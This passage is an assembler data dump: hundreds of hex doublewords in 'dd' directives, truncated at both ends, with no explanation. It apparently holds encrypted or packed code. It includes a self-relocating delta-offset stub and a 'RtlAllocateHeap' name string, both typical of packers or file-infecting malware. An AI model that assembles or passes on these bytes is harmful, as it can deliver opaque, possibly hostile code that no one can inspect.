0ED96A45Fh, 8A152AA8h, 0A0242945h, 261957DFh dd 2C5E9179h, 8A152A1Eh, 2C5E8979h, 8A152A16h, 2C5ECA79h dd 8A152A49h, 2C5E1379h, 8A152A38h, 2A5EF279h, 8A152A5Ch dd 2A5EFA79h, 8A152A6Bh, 0A851D6ACh, 8660D554h, 2559D7BAh dd 907B2BCEh, 32DCF143h, 8C0F448Ch, 0EDD871BAh, 8A42C3A8h dd 0DDAEA245h, 8260D558h, 0C64038C8h, 7462C4Eh, 0B23F7ADFh dd 3C6D552h, 92B85E00h, 75152A54h, 0DDAEAE30h, 978FA75Ch dd 0FB57B82Bh, 0E4CDB0D9h, 7BAEA45Fh, 63E96FDDh, 0A851A258h dd 75195FABh, 32DCAA30h, 8C0F447Dh, 70CB2F16h, 7513303Ah dd 54142B96h, 8A152ABDh, 0EDDAC345h, 82D7E3A8h, 3044BA45h dd 2AE90000h, 0C7000000h, 2404h, 0E80000h, 5D000000h, 73A8ED81h dd 448B061Ah, 85890424h, 61304C5h, 0B8h, 8D8D8D00h, 0FF06134Fh dd 6754B8E1h, 0CEB0000h, 4324FFE0h, 38BC570Ah, 80DE1881h dd 585E9h, 579E900h, 12A00000h, 0F2446644h, 85C7E5Ch, 0ED3E6442h dd 0D05D4363h, 38F72684h, 0F0CE86D3h, 0FAD87ACAh, 0E5C583D8h dd 0FCDA72C3h, 217DF0EFh, 0EA16B828h, 6CBD8BB7h, 0DA6D51E0h dd 6DFBDF6Eh, 0E37254E5h, 4FDEE071h, 0C1123405h, 2207308Fh dd 0F357E94Eh, 4BAA7BCCh, 4CE0E281h, 0DB6B6FFEh, 8D6B5473h dd 0F1F277A5h, 0E485C919h, 694E8DDCh, 0C91BC5F8h, 8C901A81h dd 233E7A42h, 44634463h, 9E74B511h, 0B5C7E10h, 6D9C2445h dd 168887B8h, 280FACF1h, 0E77F479Dh, 5615DF98h, 4C6AE074h dd 0E978D266h, 8A2F5598h, 13A8EA4Fh, 65EF3E64h, 83E7795Bh dd 0A4F305E9h, 9CE4CB8Bh, 0BAB13247h, 45EA23BBh, 2D6B3D48h dd 0C308EF6Ch, 0A9E3EB52h, 0DA5DB9DAh, 0EAB133D2h, 7559CA56h dd 0E0B13256h, 9470D8D7h, 21BE344Fh, 57B13253h, 0E9836036h dd 0B0A4F305h, 0F29D11F1h, 2375FD7Ah, 0C77417FBh, 0D525FB60h dd 0ADFDF53Fh, 916F8496h, 0CFB73422h, 0B723AC7Ah, 1A20AD29h dd 7975FD7Ah, 9E987C27h, 0A073E701h, 830C8EFFh, 0A4F305E9h dd 0BD8DDB8Bh, 61A94D9h, 1A298D8Dh, 44B8061Bh, 2B321566h dd 2E9C1CFh, 0C8D00731h, 4904C783h, 0DE9F675h, 81000000h dd 492EE38Ch, 982B1E5Ch, 24BB1240h, 1840Fh, 53FC0000h dd 0D889C389h, 81241C8Bh, 4C4h, 890F6000h, 16h, 11E9h dd 18521F00h, 5D5FE58Fh, 403FC6FBh dd 0CCC67673h, 0F861F741h, 1625BD83h, 75000613h, 81BD8309h dd 6132Ch, 53501974h, 11B8C08Bh, 89000004h, 13311585h dd 0E49D8D06h, 0FF0615A9h, 83585BD3h, 132C81BDh, 17740006h dd 11B85350h, 89000004h, 13311585h, 859D8D06h, 0FF0615A6h dd 0E9585BD3h, 0Ch, 59E61893h, 77283422h, 6012EF0Ch, 0CE9F5h dd 0C6510000h, 0D5ED48A5h, 0A1573E7Fh, 8956B1E5h, 0F78957C6h dd 5E5FF889h, 6E9h, 9CD06A00h, 0F8BD1CFEh, 1E238D8Dh, 6A061Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 7AB4E3C3h, 0A312185Fh, 14B4FC7Fh, 1BBD8D89h, 6A0613h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 85FB8AC3h, 8305895Eh, 9B52960h, 8906130Fh, 1318B985h dd 85C76106h, 61318DDh, 62C4h, 0A2D8D89h, 85C70613h, 6133055h dd 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 6AC35646h dd 80375BE6h, 195ED522h, 4DBD8BD1h, 0FF06132Ch, 132101B5h dd 0E8816606h, 95FFD56Dh, 6131D89h, 113D9D03h, 6A0613h dd 0DA995FFh, 0C08B0613h, 0A24C38EBh, 0E13B14F8h, 0AC177BCAh dd 0A607B0Dh, 37651E4Eh, 0FB46AC5Ah, 0F072E251h, 0C9EB4883h dd 0EFCFB3A0h, 99D50F1Fh, 61953608h, 0A3CC68D2h, 604404D1h dd 2AE0F27Dh, 0FE84872h, 14000000h, 9A1530Dh, 30BC6E84h dd 0D8895B90h, 0BD8B9156h, 61312B1h, 0FE95Ah, 0B60F0000h dd 0ECAA2D61h, 0A8F05199h, 0A2C50CD5h, 24C28137h, 0F5000060h dd 8166C02Bh, 8B5F6BC9h, 810F0234h, 6, 1DADB589h, 0EE810613h dd 626F7794h, 13E9h, 1FBFCD00h, 5BB1BF1Fh, 0A7C4B7F8h dd 6440BA36h, 63065D60h, 86F3EE81h, 0D1811802h, 2DC00B2Fh dd 6A58EE81h, 8D2B210Ah, 6132301h, 66023489h, 8D89CE8Bh dd 6131FF5h, 8904E883h, 130705BDh, 7CF88106h, 0FFFFFA0h dd 0FFFF9A85h, 45B531FFh, 0E9061310h, 0EDh, 0D88C6660h dd 840F04A8h, 0DFh, 2EB5B58Bh, 0FE830613h, 22850F00h, 0C6000000h dd 1311E185h, 69684506h, 0FF8E7269h, 13116DB5h, 33858D06h dd 0FF06167Ch, 0BD8589D0h, 8B06131Ch, 0E93E80F0h, 31850Fh dd 858D0000h, 61887E0h, 0BD8BD0FFh, 61329C5h, 1184C781h dd 0B58B0000h, 6132EB5h, 8B9F787h, 0F3000000h, 0B5B58BA4h dd 8D06132Eh, 16BD3A85h, 8BD0FF06h, 1313F1B5h, 0FE8306h dd 22850Fh, 85C60000h, 61311E1h, 0BEF46854h, 0B5FFFF4Eh dd 613116Dh, 7C33858Dh, 0D0FF0616h, 13F18589h, 0F08B0613h dd 0FE93E80h, 3A85h, 0F1B58B00h, 8D061313h, 1887E085h dd 8BD0FF06h, 1329C5BDh, 84C78106h, 83000011h, 0B58B08C7h dd 61313F1h, 8B9F787h, 0F3000000h, 0F1B58BA4h, 8D061313h dd 16BD3A85h, 61D0FF06h, 0E858DC3h, 89061B1Fh, 130B3185h dd 0BE906h, 0A5510000h, 601Fh, 0 dd 4B4E900h, 3C680000h, 0E9061B21h, 0FFF8613Ch, 1B21AD68h dd 6132E906h, 0ED68FFF8h, 0E9061B22h, 0FFF86128h, 0CBEB6BF7h dd 0D9F955E5h, 0C5E565F7h, 0DEFC54E3h, 0C7E76DFCh, 0A3325BD4h dd 0A12F11B1h, 9C2F11B1h, 992C0EACh, 94613B3h, 0B8D57AD4h dd 0F1CE4316h, 87D67AC9h, 0BD24BE06h, 7155E470h, 3783A6E0h dd 0A025C91h, 4ACB109Eh, 2668A865h, 42276747h, 9BF66744h dd 64168EC9h, 4CC1C95Eh, 0A8AC7D2h, 7A1B7A9Bh, 0C83C9AEBh dd 0F7930A8Ah, 0F99A5A82h, 567C5AACh, 1B824A04h, 2D2h dd 0BDE5C23Fh, 3455E470h, 9DB4C945h, 40B59210h, 109DB4C6h dd 656F0E8Fh, 2148696Fh, 0D4644665h, 26AEEF7Eh, 0A625C439h dd 0D736168Eh, 99CCEB34h, 0A8AA33Dh, 3A94C906h, 30A8AA3h dd 0AAD9E382h, 0E7E5C1A3h, 3D348CD5h, 93BD723h, 70E5C2A3h dd 1315FA7Dh, 4A005476h, 6AFB9AFBh, 5473134Eh, 2D14C21h dd 6340C50Dh, 0C1CE5E44h, 3781E074h, 2A88C415h, 7FD4B508h dd 1AB5A8C9h, 237684BFh, 2E04984h, 6DF90000h, 57E7C9E9h dd 5FF1D7F7h, 56E5CBEBh, 67F6DCFAh, 51DECDEDh, 7A7AD3Ch dd 1FBF9321h, 4A2A639h, 0E1C18B1Eh, 0C86F7D8h, 0D516B8D6h dd 0BEA3A2BCh, 2C7AEBC8h, 0DD168695h, 89E864F5h, 95B3082Ah dd 9D2C0E4Bh, 0A43117B7h, 2884DCEAh, 39582472h, 0B5072B28h dd 6145C495h, 13727ACEh, 0E94733B0h, 7AEF5DF0h, 80089EA3h dd 6F3411D8h, 6A000002h, 765C7ADCh, 664C6AE4h, 785A78D2h dd 674969E7h, 695C7ADAh, 3C18A5C6h, 262CBC9Eh, 3B0DA288h dd 2824B59Bh, 6F9EC18Ah, 16B8D5F3h, 0C2F965BCh, 0B8004EE0h dd 8221657Ch, 86950353h, 51B416h, 82951171h, 54004D0Ah dd 0DD71C105h, 6F0C868Ch, 36D33F86h, 0A5064616h, 17CEE5Ah dd 0EED10000h, 0A3D278CCh, 0A829D27h, 9CB12D60h, 1B7A0A82h dd 55FFC94Ch, 0C3E06CBDh, 0B7D74DDCh, 0A32D62A5h, 9DAF0244h dd 9EE8013Dh, 0AB3C1E41h, 6B7594A5h, 8F0CE11Ch, 1A2B6A16h dd 8B096BEBh, 0B295C20Ah, 8B08C743h, 0C30D900Ah, 0CC8CB049h dd 745AACB2h, 38h, 0C8BEA3CAh, 989B7AEBh, 296C168Eh, 0C8173B18h dd 41C14088h, 980A8A89h, 756B94BBh, 4FF493A5h, 4E6E0B85h dd 5AADC28Eh, 0C41E4F70h, 8D0A89D8h, 9B59C008h, 0FD000000h dd 51E06CBDh, 4FFD5072h, 8B065385h, 4E00523Dh, 46714E2Fh dd 0AA20C7FCh, 49982009h, 0C998B405h, 0BA183485h, 9E37A94Bh dd 0B4982910h, 0B7CF1A16h, 0AD9F3218h, 66737D9Ch, 889481F7h dd 0C01F7E16h, 0A9094B9Ah, 671A3A87h, 800E91A0h, 2F2F2AC1h dd 0AA000001h, 0B69C3A1Ch, 0A68C2A24h, 0B89A3812h, 0A7892927h dd 0A99C3A1Ah, 7CD86586h, 66EC7C5Eh, 7BCD6248h, 68E4755Bh dd 2F5E814Ah, 16B8D6B3h, 0C239257Ch, 0B90351E0h, 0AC0A4A97h dd 98B7A48Bh, 0F8DBB51h, 0A4293C5h, 6CBD0EACh, 0DC6D51E0h dd 0B565270h, 0E3765C7Bh, 2FB9D869h, 0FBDEB322h, 2807168Eh dd 8A6659B5h, 0D9E3220Ah, 88AA098Ch, 0CB4A1B39h, 5FEED401h dd 9AAB9D32h, 49BC1A7Bh, 0A8A65C9h, 3A98B405h, 0BA8BC918h dd 0A19Fh, 459AC000h, 0D061EF40h, 81D0B1h, 0BEA31EB8h dd 287AEBC8h, 0E1168695h, 1F401FBCh, 829574EEh, 0A9D83D0Ah dd 0A82952Dh, 9E4D97F6h, 0CE6029BCh, 0DFC1E180h, 706FFE4Eh dd 94C41E4Fh, 428D0A82h, 4A6629AAh, 0EBF59464h, 7D5E8E9Ch dd 0C237BB70h, 9C002A15h, 0B665E114h, 0EF2EA47Ch, 934C89C8h dd 7CF8E862h, 0D6CB1A4h, 0C4091C3h, 1AA991AEh, 0DEE62736h dd 52E369FCh, 5271DF70h, 0F8860075h, 0CE4FA47Ch, 0FF716706h dd 0C785D88Ah, 17E1C6E7h, 0D60305E5h, 72C315DFh, 34E8BDAh dd 0F4000000h, 71BDE17Bh, 0DF7254E5h, 65FADC6Dh, 0E07052E3h dd 52DFE372h, 0C20F3302h, 307FC392h, 9B2D1120h, 2ABC9EAFh dd 51221524h, 0C181E189h, 4, 4E981h, 0C870000h, 14895C24h dd 5786824h, 1C890000h, 0E1895124h, 4C181h, 0E9810000h dd 4, 5C240C87h, 83243489h, 48904ECh, 203AB824h, 0C389061Bh dd 4EC8158h, 89000000h, 4832424h, 835E0424h, 1C8904ECh dd 24348124h, 1B5E2678h, 8108468Fh, 26780876h, 34FF1B5Eh dd 0C4815E24h, 4, 5B2434FFh, 4C481h, 0A1E90000h, 21FFF85Ch dd 8D3B80E6h, 4FA99C51h, 3053C6D7h, 41B84A01h, 3061B24h dd 0F2E0FFC5h, 7036D392h, 0D143C3BFh, 3B59A758h, 8C6B6D37h dd 0BD04B286h, 0FF5250E0h, 2748EEAFh, 1A4C27F1h, 0E50A1654h dd 0E85A5EA2h, 0Dh, 8473AE0Ch, 5484D38h, 2BE6FA5Ch, 0CE980h dd 151A0000h, 759850Ch, 16F884B3h, 0F5AF38Ah, 28Fh, 8177B300h dd 6FF4C2h, 4934B900h, 0D0BF0D58h, 6600001Bh, 32FFF28Bh dd 0E95862B7h, 0Bh, 0D4688AFDh, 9E8EE5DCh, 81C749FBh, 0F4C333C0h dd 10E825h, 61D40000h, 181D6DE3h, 32EA9240h, 6A285161h dd 0AE99961h, 28000000h, 0AC05D86Eh, 0C4B4955Bh, 0E8815BC2h dd 2D9336C4h, 0E881CB8Ah, 1A361613h, 925CCB81h, 66505B08h dd 8F7C1ABBh, 0DB816602h, 0EA81CBD5h, 95550F5h, 0F1C281F9h dd 0F095550h, 0F4FC9BFh, 0FFFF8985h, 1810FFFh, 0F9000000h dd 265E8D8Dh, 8B66061Bh, 6830FD8h, 8B000000h, 13055185h dd 0BD8D8906h, 6A06131Bh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 742C356h, 0C7167792h dd 1318DD85h, 619806h, 79858900h, 0C7061305h, 13305585h dd 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 0C21CD538h, 66AA389Bh, 0FF622BB8h dd 1313D1B5h, 31953306h, 8B061317h, 130C159Dh, 8995FF06h dd 2306131Dh, 13003DB5h, 0FF006A06h, 130DA995h, 0EBC08B06h dd 2FCFF33Ah, 3008C349h, 88B654ACh, 0CDB06DFCh, 0AA270F81h dd 0A0417F9Eh, 0B28392BBh, 0D7D639AEh, 6F989057h, 93721791h dd 0F904B455h, 20899326h, 99E28E21h, 832E3D3Fh, 0E9E8292Eh dd 40h, 1DF3958Fh, 416C7452h, 636F6C6Ch, 48657461h, 706165h dd 140000h, 0Ah dup(0) dd 116BE9h, 295D6800h, 71E9061Bh, 68FFF85Ah, 61B2A50h dd 0F85A67E9h, 2CE968FFh, 5DE9061Bh, 68FFF85Ah, 61B2E26h dd 0F85A53E9h, 315F68FFh, 49E9061Bh, 68FFF85Ah, 61B3223h dd 0F85A3FE9h, 326268FFh, 35E9061Bh, 68FFF85Ah, 61B333Fh dd 0F85A2BE9h, 33D868FFh, 21E9061Bh, 68FFF85Ah, 61B342Dh dd 0F85A17E9h, 35EE68FFh, 0DE9061Bh, 68FFF85Ah, 61B36C7h dd 0F85A03E9h, 88CE1CFFh, 98B6082Ah, 86C4183Ah, 9FB10228h dd 88CC193Fh, 0D734FB2Ah, 0C6ECCA8Ah, 0DCFEDC76h, 0BFE1C187h dd 0F300DE6Eh, 0DC1D79ECh, 0B3E616B8h, 0C5C5230Ch, 0EEB8F43Fh dd 6CBD7CE6h, 0C3E4C3E0h, 9DB53892h, 0ED9C0110h, 109DB571h dd 6EE81D3Ah, 37109DB5h, 0C313B7D6h, 915BBA8Bh, 0EF5DF0D2h dd 859815Eh, 7F1E3281h, 78D06375h, 79F3E9h, 0F51B7057h dd 0EA40DCEDh, 11DB79C8h, 0CD1B6EBFh, 3455B485h, 0C945B897h dd 92109DC0h, 4A6B6973h, 23B2D368h, 80015031h, 72C38D1Eh dd 3A87C913h, 4396BC1Ah, 371B3809h, 7A9BAAAAh, 7FCD6072h dd 0D5C7E5Fh, 28417D47h, 2F5E815Eh, 109DC0B3h, 82CF197Ch dd 1E2A7DA5h, 8706CE4Fh, 168EAF2Ah, 720352B3h, 0A8AAB14h dd 0FE4FFD50h, 73C288DCh, 0EC96335Dh, 4E97F65Ch, 572547C4h dd 0FF5AAD10h, 3Fh, 0C8BEA363h, 0E7E9C4EBh, 0F229F023h dd 9978EDEAh, 6A168F7Fh, 1A3D1A2Bh, 8B706FEBh, 0F1D5380Ah dd 0A6E5EF63h, 0A8B7028h, 5676137Fh, 5AAC5186h, 0E4603F68h dd 92AA34B4h, 110D34Ah, 0BD670000h, 6D51E06Ch, 0CB47B6E0h dd 0FF109DB4h, 4FCE9FAFh, 0DFFC9D00h, 50E169FBh, 0CDF006Bh dd 0B2D3D303h, 4697BB2Ah, 9CF66748h, 65109E7Eh, 7ED53120h dd 7F9E109Eh, 6F9EC11Eh, 109E7EF3h, 0E67559BCh, 0C403626Ah dd 0ED3D4ADEh, 0D0310061h, 0BEC352EBh, 844CBC92h, 6D4DFF52h dd 9E047DFEh, 0DAACFD10h, 16A35E75h, 0F9D9B82Ah, 86D7FBDCh dd 0D83B97C6h, 8104109Dh, 88C41537h, 20667BB9h, 0DD6F5283h dd 0C548168Eh, 0DA70C4E6h, 9DC4C412h, 0C5EDCAE9h, 8CC61675h dd 993D5CEDh, 0D4350448h, 33987D0Ch, 0F6E11075h, 7F65B39Fh dd 0D4915B10h, 0A13012B1h, 9A2E14B3h, 109DA1B0h, 0BD9B2544h dd 53064E9Bh, 79FB3BC9h, 5F726FFEh, 1A00000Eh, 62C8ACCh dd 163C9AB4h, 82A88C2h, 173999B7h, 0F92C8ACAh, 0CC88D536h dd 0D67CCCEEh, 0CB7DD2F8h, 0D874C5EBh, 7FEEF1FAh, 16B8DE23h dd 0BD89B5ECh, 0E3C7E470h, 2B6AFB53h, 3C8DB3A1h, 2E4FFB4Dh dd 0BEA33290h, 0B57FDB0Ah, 0C548109Dh, 72807A4h, 9DB57CD6h dd 0D14CAD10h, 0A47326B4h, 1F6E7697h, 168EC63Eh, 4EBF8E0Fh dd 0A8AB5D0h, 280F3827h, 0FE4EDF67h, 21A4BDD9h, 0B0DC6D97h dd 5AAC86E0h, 0A648h, 6CBDEE00h, 0E06D51E0h, 5785774h dd 109DB489h, 70DE7052h, 311DAD11h, 26C938A7h, 0A6109DB1h dd 0B7993913h, 19172626h, 3119B6D0h, 3623ADA1h, 0E4D2E19h dd 7A9F58C3h, 7B2E1372h, 8607168Eh, 8501E828h, 0C6C3B726h dd 59BC1074h, 4B09587Ah, 59F3466Ch, 113F8908h, 0EEECA22Fh dd 0DB8D169Ah, 9D255839h, 0BE79FAF0h, 0D6C322Fh, 0C10D0000h dd 0C3133595h, 0B3052B8Bh, 0C2113797h, 0BB0A308Eh, 250A3999h dd 0FBDB79C8h, 0EBCB87D5h, 0F8D672C5h, 0EDCD7FD2h, 108AFBE4h dd 0D916B8DFh, 70BD9EC0h, 51E4C6E4h, 0C27DDBFBh, 7BA990DDh dd 0B0D160E8h, 0B5B7250Bh, 0F198292Bh, 755AEB5Fh, 5C5989C3h dd 82E3826Bh, 77D30225h, 40109DDBh, 725413DDh, 1E4D6DDFh dd 109DDAC0h, 0C3E369FCh, 0A3004CDDh, 4A582E7Fh, 3C75CABAh dd 21C00869h, 76D00522h, 0AA109E55h, 0EB2A391Bh, 0EE5EEFE1h dd 0A3E97B5Fh, 9E54D832h, 1D7CA110h, 94B60A4Ch, 7B1082C5h dd 55E6648Ah, 1FC77DA2h, 20FBF04Dh, 9DCA71EDh, 0BADB3A10h dd 0BF8D2032h, 0FFF5C31Fh, 0B897A341h, 9DCDC945h, 1BD0FA10h dd 0E646F83Ch, 6ADE7159h, 11DBBADBh, 988Ah, 0BEA3B000h dd 0BF7AEBC8h, 48168E91h, 8F7CD607h, 21B00A8Ah, 54E32233h dd 0E7639231h, 0B00A8A8Eh, 8BAF0C6Dh, 0C342133Bh, 0BB1B6AF9h dd 120A8A8Eh, 1BD90378h, 0C35AAD3Ch, 5Dh, 0B5117097h, 2E33109Dh dd 9577B58h, 75527F49h, 8C54004Dh, 8EA9B8FDh, 0EECC5116h dd 86D77DCCh, 68473F2Ah, 7B87D4F5h, 1DAD9510h, 8A1E2031h dd 0CA17A1C0h, 0F2456B4Bh, 0C0A90756h, 0F574E9C6h, 760A6861h dd 5EAA2459h, 1273FE64h, 0DAF81DCAh, 0C884D5FDh, 85D01879h dd 8FEh, 70E5C229h, 109DB516h, 0A36BEDFh, 0D508A7DFh, 168E85D4h dd 1773E2E5h, 0E00A8A85h, 0FC8DDCBDh, 0A8A849Eh, 0FC2099F5h dd 5AAD363Ch, 1AA4h, 0C4133700h, 64BE2F8Ch, 2D0A8A8Dh dd 7076E0E8h, 109DB512h, 0FB8CB411h, 0C21AFFFFh, 0BA0250E0h dd 0CC60637Eh, 4DC01F7Eh, 168EA5F4h, 0B0411075h, 0A8AA452h dd 0C0EC5DA9h, 5AAD09F0h, 6E1FB092h, 0C71170DAh, 55450h dd 0F03F6300h, 28B0D160h, 4BE0C2AEh, 892D6CFDh, 0C647163Ah dd 0B6D7D8FEh, 86C418ABh, 1495C8E7h, 25168EA6h, 0A357B322h dd 0FD200A8Ah, 0ED203F9Ch, 0A8AA371h, 11DB3Ah, 4572EA8Dh dd 0AA1950B3h, 75523315h, 0B6676900h, 88FDDA66h, 5AB2530Eh dd 365AF0D7h, 0CEE1FCAAh, 45C825AFh, 60F3D7F4h, 8DD4E0E8h dd 5CABDAF9h, 3960A074h, 0B2EF5E0Eh, 567DC159h, 0E17ADF1h dd 0B330B837h, 0F9493C8Fh, 0E4253455h, 0D4092685h, 549BCF7Ah dd 0DDFAC243h, 0CBE864F5h, 5863BBE4h, 0B0634806h, 0ACAA3229h dd 64193386h, 0CA225EE8h, 0D31B36F5h, 0A600000Ah, 0BAA03E18h dd 0A2882628h, 0BC9E3C0Eh, 0A385252Bh, 0ADA03E16h, 78DC6982h dd 6AE8785Ah, 77D1664Ch, 6CE07157h, 2B5A854Eh, 16B8E0AFh dd 0BD3D2178h, 0E4C3E06Ch, 9DB51571h, 0C31F4E10h, 8C109DB4h dd 0F4DB3A09h, 0DC6344Eh, 0B02FB94Bh, 0BA196D74h, 8F41024Bh dd 0A3ECD316h, 9FF36D9Dh, 355815DFh, 2A20B496h, 0B592B5A2h dd 8B71C640h, 0E668FA0Ah, 0AAAC3459h, 0AE943315h, 0A2FC7119h dd 6B0A8B71h, 53814B2Ah, 52005072h, 183A8203h, 45B485C3h dd 0A8B71C9h, 8B6252B0h, 196D740Ah, 4BBA9DBAh, 0A8B61CFh dd 1C6B7598h, 107C5851h, 3BCA9BFAh, 47841DBh, 0B463D832h dd 0CA123C8Eh, 9B674212h, 0D2032450h, 4783678h, 8D14DC41h dd 2Fh, 0E0DDC2B1h, 5B862824h, 2204DE86h, 38596675h, 295D84B0h dd 0DCBA5B8Ah, 577B168Eh, 9AFB4A0Ah, 53709552h, 646CDC6Fh dd 2FC805h, 0C2660000h, 0EA3D4EE0h, 4C9B3F5Eh, 0CD43504h dd 0EECDB9B0h, 8EBFD67Fh, 2B103716h, 9FFEDDBEh, 0F95BEACCh dd 0E91C3B98h, 0A8AB26Dh, 5E0DD736h, 0E06CBD04h, 23BDC96Dh dd 6E6B0286h, 996h, 0DFFF57E3h, 0C5E569F9h, 0D9F951E3h dd 0CAE868F7h, 0DBFB59E8h, 972647E8h, 0AD3B1DBDh, 902305A5h dd 0A5381AB8h, 153A07A7h, 0B8E366E0h, 48FA2F16h, 0EBC8BEA3h dd 0B53D99CCh, 8706109Dh, 0B4ED203Dh, 0F5168EA5h, 2C7DC190h dd 0D9F8320h, 88A5B33Dh, 18EEFC9Fh, 8AA369E5h, 0ECD3320Ah dd 67962C86h, 0A89D8EBh, 0A83051B4h, 0C2B27859h, 354D9A31h dd 36509995h, 2C20B199h, 7F46B7A4h, 0E0E92FA8h, 18AAACBDh dd 51989836h, 7A679635h, 23E31C88h, 0A42253E2h, 0FBD71871h dd 2D2FA8Fh, 0AA653B5Bh, 145h, 70E5C290h, 109DB516h, 0A36BEDFh dd 0D508A7DFh, 168EA5BCh, 8AC998FDh dd 963816A8h, 0DD3C0D47h, 0DC70C113h, 89DCFEh, 7091A0AEh dd 0D0B14011h, 9D31C37Eh, 0F33E455h, 5DBC8DBDh, 9EF04193h dd 3F6AF36Fh, 3859BCE3h, 2525B79Bh, 0BFA0BD9Bh, 3F6AD44Eh dd 70789DE3h, 0B081CB5Eh, 0C541B493h, 8EE33F6Ah, 4746C50Fh dd 910A7844h, 0A538EA5Fh, 92607A7h, 0F4307AD4h, 0FAC243BBh dd 76C785D8h, 79562E3Ah, 0F42FAA04h, 0C33BBh, 95BD0BB1h dd 0FCF1E22Eh, 0E8013D9Dh, 0CDCC419Eh, 9EC1E4E9h, 59ECEE7Fh dd 5CEDD3F3h, 63ECD3F0h, 6EEAAD44h, 71F0F8h, 0B5E1529Eh dd 15CD3EB0h, 9F4CC2C4h, 83D27ACBh, 42069D02h, 0E615B5D4h dd 0A0CA80Eh, 28251C03h, 0A18229EFh, 0BEC41B17h, 0A5A73A20h dd 5D996594h, 94FEC7C8h, 52FA4BF7h, 93FB4E74h, 4458E862h dd 4A6CB1BBh, 253455F7h, 7A4E207h, 9CAE0228h, 0C11D4CCDh dd 8ABB4458h, 3616A70Bh, 1DEE627h, 353C458Ch, 4867A6C1h dd 717BCD62h, 0F0654263h, 0B5313596h, 82D375CAh, 7D13403h dd 4ECCh, 79CBEF00h, 0A20180D1h, 3135D733h, 737DA0B5h dd 0C8BEA3E9h, 0AAE3CCEBh, 0D6ED66CDh, 0D1700FD9h, 22168F1Ch dd 0DE7052E3h, 7A6D5270h, 3388AA7Fh, 796FCB15h, 0E539AC0Bh dd 0E0A8B11h, 0A2B3992Ch, 890C5963h, 59B9052Ah, 5D78854Fh dd 0BD223C93h, 0C6C2E06Ch, 99CCEB9Bh, 168E9E34h, 72B880Dh dd 143694B4h, 7CB889BFh, 53822165h, 107B852Ah, 1C3B0A8Bh dd 57E5A236h, 4ACB9AFBh, 60830382h, 0DEC40477h, 7DB9034Dh dd 9A852264h, 0D28F3DCh, 63F1D575h, 0B53F5EEFh, 76835A8h dd 0C6110A68h, 5B7FC599h, 2E1CB02Bh, 0FE9FFE1Fh, 0A9C01E6Fh dd 6CFCFE64h, 0ABBA9223h, 183A0B6Ah, 0DC76C6C7h, 0DC6D0C8Dh dd 361F9C36h, 388AB0AFh, 0B5034716h, 2C4DCC9Dh, 26D16AA4h dd 2A8ADA01h, 2E8D7139h, 646163BFh, 0DFE92CFEh, 8746B977h dd 2C214Eh, 0A3350000h, 7AEBC8BEh, 168EA2DBh, 0D04ABB9Ch dd 990A8A9Dh, 9EFF6C74h, 17AA90CFh, 0B6272435h, 0A8A9E5Ch dd 3781E025h, 351Ch, 0BEA3C200h, 928E7602h, 14754051h dd 0DCAF98B7h, 0D8A03026h, 0B65FAE36h, 17168F77h, 476867F6h dd 8B60BC16h, 0F361F00Ah, 0F1142362h, 6127A3D2h, 0ADF00A8Bh dd 6CBDB923h, 0BDD36DE0h, 31F88623h, 65D14h, 88CE1C00h dd 98B6082Ah, 86C4183Ah, 9FB10228h, 88CC193Fh, 0D734FB2Ah dd 0C6ECCA8Ah, 0DCFEDC76h, 0BFE1C187h, 0F300DE6Eh, 0E61D79ECh dd 0B3E616B8h, 0F4DDC28Fh, 0B50C1C24h, 0BA1C32BAh, 21BEC821h dd 82C81C3Eh, 0FB8A52B3h, 168ECD7Ah, 85AD0A8Bh, 0CC4D1C38h dd 0BB4E59E7h, 0AA32D7A0h, 782A64E9h, 0BFE3CCC8h, 57B32270h dd 204843E4h, 0A73A9CFDh, 6B7594A5h, 4F6C1A4Fh, 34D52B1Eh dd 50E1244Eh, 0A5215473h, 6E4230D1h, 5099A52Fh, 47B69936h dd 4230D1CBh, 6A677194h, 21AB46FBh, 815EBF48h, 67ED7C5Eh dd 915BF343h, 4E9BEE3Fh, 0B7D63706h, 0C0143617h, 0BD10428Ah dd 0A034DA8Fh, 0A645B1A3h, 599ABh, 452E000h, 1C3284A6h dd 2489CBEh, 232D7EA4h, 44109D83h, 93F83766h, 8AB00E46h dd 98BA183Ah, 83A50543h, 0AFBC1A32h, 0E6E13DB0h, 77AA16B8h dd 0E06CBDCBh, 23BDA76Dh, 845E486h, 55Ah, 0E3C3931Fh, 0C1E16DBDh dd 0DDFD4DDFh, 0C6E46CFBh, 0DFFF55E4h, 9B2A43ECh, 0A93719B9h dd 942709A9h, 0A13416B4h, 213E0BABh, 0B8E772ECh, 7CE63B16h dd 0B3226CBDh, 109DB557h, 0CD9CFD20h, 0F9497A6Fh, 66973455h dd 1686929Eh, 0E4248203h, 0BB2A89FDh, 10737D96h, 6E9FAEEFh dd 46F76F0h, 0E2ECB47h, 5090244Eh, 0AAF6h, 0DEB94C00h dd 0FDDAACB5h, 8EA5E988h, 789BFA16h, 87958FD5h, 22647DD9h dd 86D95085h, 654A4174h, 0E4288BF0h, 0B89827DAh, 33520FD9h dd 0C842B394h, 91356FB6h, 2625C40Ch, 529AB004h, 2C8BFBE6h dd 5DCB8AB9h, 3996F73Bh, 0BE8FC311h, 6748955Fh, 0A5BF343h dd 0BE0F418Bh, 0B909318Eh, 7B45C495h, 9FEA7B5Dh, 90F14010h dd 43C27CF1h, 3CEBA4DFh, 47D21h, 0E86EFC00h, 0F856E8CAh dd 0E664F8DAh, 0FF51E2C8h, 0E86CF9DFh, 3754DBCAh, 260CAAAAh dd 3C1EBC96h, 1F01A1A7h, 5320BE8Eh, 0E87DD90Ch, 0D34616B8h dd 94C46Fh, 0A36A0000h, 7AEBC8BEh, 168692C2h, 0C1E9C647h dd 85C91970h, 0A0EB8FB4h, 0A4DE361Dh, 2406A4C5h, 8EAABB91h dd 73E17053h, 0E5C2A3E2h, 7353DD70h, 15A48610h, 0E5EF2E3Fh dd 5BED4288h, 5BEA8B0Ah, 0B02A5B7Ch, 79046F52h, 7970CC14h dd 0A991AE0Dh, 5BAA3216h, 0A60460Eh, 692356B7h, 7E73E248h dd 3E4F2EFh, 49950000h, 3B8BAD0Dh, 3B8DB313h, 3A89AF0Fh dd 4392B816h, 